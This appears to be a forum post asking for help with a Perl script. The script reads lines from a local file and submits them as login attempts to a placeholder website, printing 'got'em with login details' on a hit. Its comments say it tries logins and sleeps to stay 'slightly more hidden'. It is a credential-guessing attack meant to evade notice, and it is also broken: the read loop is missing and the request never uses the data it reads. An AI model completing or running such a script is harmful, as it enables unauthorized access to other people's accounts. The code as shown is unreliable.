it's the error I received when I tried to run it :/
here is exactly what i have now..
#!/usr/bin/perl -w
use LWP::UserAgent;
my $digits;
my $filename = '/tmp/blah.txt';
open( FILE, '<', $filename ) or die "Can't open $filename: $!\n";
$digits = $_;
print "Attempting line: " . $digits;
k_go_now($digits);
# Sleep to keep us slightly more hidden and load off their servers
sleep(1);
}
# k go now sub; grabs input from file ($username, $password) tries to
+login
sub k_go_now
{
my ($digits) = @_;
$ua = LWP::UserAgent->new;
$ua->agent("MyApp/0.1 ");
# Create a request
my $req = HTTP::Request->new(POST => 'https://xxx.com');
$req->content_type('application/x-www-form-urlencoded');
$req->content('query=libwww-perl&mode=dist');
# Pass request to the user agent and get a response back
my $res = $ua->request($req);
# Check the outcome of the response
if ($res->is_success) {
check_output ($res->content);
}
else {
print $res->status_line, "\n";
}
}
# suib check_output checks the response from the website and if it's a
+ny good
sub check_output
{
my ($output) = @_;
if ($output =~ /Login Failed/)
{
print "Nope, failed login\n";
} elsif ($output =~ /Login Successful/)
{
print "got'em with login details\n";
} else
{
print "unknown response !!!\n$output\n\n";
}
}
|